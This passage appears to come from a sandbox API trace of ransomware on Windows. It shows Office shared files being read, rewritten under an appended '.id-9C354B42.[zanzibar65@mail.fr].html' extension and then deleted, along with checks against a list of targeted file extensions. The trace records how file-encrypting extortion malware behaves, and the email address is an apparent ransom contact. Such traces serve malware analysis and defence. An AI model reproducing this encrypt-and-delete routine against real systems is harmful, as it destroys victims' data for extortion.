(lpString="TIME.XML") returned 8 [0041.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0041.055] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=8564) returned 1 [0041.055] CloseHandle (hObject=0x208) returned 1 [0041.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0041.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0041.055] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.055] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0041.056] GetLastError () returned 0x0 [0041.056] ReadFile (in: hFile=0x208, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x2174, lpOverlapped=0x0) returned 1 [0041.381] WriteFile (in: hFile=0x20c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2180, lpOverlapped=0x0) returned 1 [0041.389] ReadFile (in: hFile=0x208, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0041.389] WriteFile (in: hFile=0x20c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0041.389] SetEndOfFile (hFile=0x20c) returned 1 [0041.389] CloseHandle (hObject=0x20c) returned 1 [0041.390] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.390] SetEndOfFile (hFile=0x208) returned 1 [0041.391] CloseHandle (hObject=0x208) returned 1 [0041.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0041.391] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0041.391] lstrlenW (lpString=".doc") returned 4 [0041.391] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.392] lstrlenW (lpString=".docx") returned 5 [0041.392] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0041.392] lstrlenW (lpString=".pdf") returned 4 [0041.392] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.392] lstrlenW (lpString=".xls") returned 4 [0041.392] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.392] lstrlenW (lpString=".xlsx") returned 5 [0041.392] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0041.392] lstrlenW (lpString=".ppt") returned 4 [0041.392] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0041.392] lstrlenW (lpString=".zip") returned 4 [0041.392] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.392] lstrlenW (lpString=".rar") returned 4 [0041.392] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.392] lstrlenW (lpString=".bz2") returned 4 [0041.392] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.392] lstrlenW (lpString=".7z") returned 3 [0041.392] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0041.392] lstrlenW (lpString=".dbf") returned 4 [0041.392] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0041.392] lstrlenW (lpString=".1cd") returned 4 [0041.392] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0041.392] lstrlenW (lpString=".jpg") returned 4 [0041.392] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0041.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0041.392] lstrlenW (lpString=".doc") returned 4 [0041.392] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.393] lstrlenW (lpString=".docx") returned 5 [0041.393] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0041.393] lstrlenW (lpString=".pdf") returned 4 [0041.393] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.393] lstrlenW (lpString=".xls") returned 4 [0041.393] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.393] lstrlenW (lpString=".xlsx") returned 5 [0041.393] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0041.393] lstrlenW (lpString=".ppt") returned 4 [0041.393] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0041.393] lstrlenW (lpString=".zip") returned 4 [0041.393] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.393] lstrlenW (lpString=".rar") returned 4 [0041.393] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.393] lstrlenW (lpString=".bz2") returned 4 [0041.393] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.393] lstrlenW (lpString=".7z") returned 3 [0041.393] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0041.393] lstrlenW (lpString=".dbf") returned 4 [0041.393] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0041.393] lstrlenW (lpString=".1cd") returned 4 [0041.393] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0041.393] lstrlenW (lpString=".jpg") returned 4 [0041.393] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.393] lstrcmpiW (lpString1=".emf", lpString2=".html") returned -1 [0041.394] lstrlenW (lpString="Genko_2.emf") returned 11 [0041.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.146] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=10340) returned 1 [0042.146] CloseHandle (hObject=0x1ac) returned 1 [0042.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0042.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0042.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0042.146] lstrlenW (lpString=".doc") returned 4 [0042.146] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0042.147] lstrlenW (lpString=".docx") returned 5 [0042.147] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0042.147] lstrlenW (lpString=".pdf") returned 4 [0042.147] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0042.147] lstrlenW (lpString=".xls") returned 4 [0042.147] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0042.147] lstrlenW (lpString=".xlsx") returned 5 [0042.147] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0042.147] lstrlenW (lpString=".ppt") returned 4 [0042.147] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0042.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0042.147] lstrlenW (lpString=".zip") returned 4 [0042.147] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0042.147] lstrlenW (lpString=".rar") returned 4 [0042.147] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0042.147] lstrlenW (lpString=".bz2") returned 4 [0042.147] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0042.147] lstrlenW (lpString=".7z") returned 3 [0042.147] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0042.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0042.147] lstrlenW (lpString=".dbf") returned 4 [0042.147] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0042.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0042.147] lstrlenW (lpString=".1cd") returned 4 [0042.147] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0042.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0042.147] lstrlenW (lpString=".jpg") returned 4 [0042.147] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0042.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0042.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0042.148] lstrlenW (lpString=".doc") returned 4 [0042.148] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0042.148] lstrlenW (lpString=".docx") returned 5 [0042.148] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0042.148] lstrlenW (lpString=".pdf") returned 4 [0042.148] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0042.148] lstrlenW (lpString=".xls") returned 4 [0042.148] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0042.148] lstrlenW (lpString=".xlsx") returned 5 [0042.148] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0042.148] lstrlenW (lpString=".ppt") returned 4 [0042.148] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0042.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0042.148] lstrlenW (lpString=".zip") returned 4 [0042.148] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0042.148] lstrlenW (lpString=".rar") returned 4 [0042.148] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0042.148] lstrlenW (lpString=".bz2") returned 4 [0042.148] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0042.148] lstrlenW (lpString=".7z") returned 3 [0042.148] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0042.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0042.148] lstrlenW (lpString=".dbf") returned 4 [0042.148] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0042.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0042.148] lstrlenW (lpString=".1cd") returned 4 [0042.148] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0042.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0042.148] lstrlenW (lpString=".jpg") returned 4 [0042.148] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0042.149] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0042.149] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0042.559] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2848) returned 1 [0042.559] CloseHandle (hObject=0x218) returned 1 [0042.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0042.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0042.559] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.559] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.935] GetLastError () returned 0x0 [0042.935] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xb20, lpOverlapped=0x0) returned 1 [0043.166] WriteFile (in: hFile=0x200, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xb30, lpOverlapped=0x0) returned 1 [0043.167] ReadFile (in: hFile=0x218, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.167] WriteFile (in: hFile=0x200, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.167] SetEndOfFile (hFile=0x200) returned 1 [0043.167] CloseHandle (hObject=0x200) returned 1 [0043.167] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.167] SetEndOfFile (hFile=0x218) returned 1 [0043.168] CloseHandle (hObject=0x218) returned 1 [0043.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.168] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0043.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0043.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0043.169] lstrlenW (lpString=".doc") returned 4 [0043.169] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.169] lstrlenW (lpString=".docx") returned 5 [0043.169] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.169] lstrlenW (lpString=".pdf") returned 4 [0043.169] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.169] lstrlenW (lpString=".xls") returned 4 [0043.169] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.169] lstrlenW (lpString=".xlsx") returned 5 [0043.169] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.169] lstrlenW (lpString=".ppt") returned 4 [0043.169] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0043.169] lstrlenW (lpString=".zip") returned 4 [0043.169] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.169] lstrlenW (lpString=".rar") returned 4 [0043.169] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.169] lstrlenW (lpString=".bz2") returned 4 [0043.169] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.169] lstrlenW (lpString=".7z") returned 3 [0043.169] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0043.169] lstrlenW (lpString=".dbf") returned 4 [0043.169] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0043.169] lstrlenW (lpString=".1cd") returned 4 [0043.170] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0043.170] lstrlenW (lpString=".jpg") returned 4 [0043.170] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0043.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0043.170] lstrlenW (lpString=".doc") returned 4 [0043.170] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.170] lstrlenW (lpString=".docx") returned 5 [0043.170] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.170] lstrlenW (lpString=".pdf") returned 4 [0043.170] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.170] lstrlenW (lpString=".xls") returned 4 [0043.170] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.170] lstrlenW (lpString=".xlsx") returned 5 [0043.170] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.170] lstrlenW (lpString=".ppt") returned 4 [0043.170] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0043.170] lstrlenW (lpString=".zip") returned 4 [0043.170] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.170] lstrlenW (lpString=".rar") returned 4 [0043.170] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.170] lstrlenW (lpString=".bz2") returned 4 [0043.170] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.170] lstrlenW (lpString=".7z") returned 3 [0043.170] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0043.170] lstrlenW (lpString=".dbf") returned 4 [0043.170] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0043.170] lstrlenW (lpString=".1cd") returned 4 [0043.171] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0043.171] lstrlenW (lpString=".jpg") returned 4 [0043.171] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.171] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.171] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.473] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=32607) returned 1 [0043.473] CloseHandle (hObject=0x170) returned 1 [0043.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0043.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.481] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.481] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.482] GetLastError () returned 0x0 [0043.482] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0043.484] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0043.485] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.485] WriteFile (in: hFile=0x170, 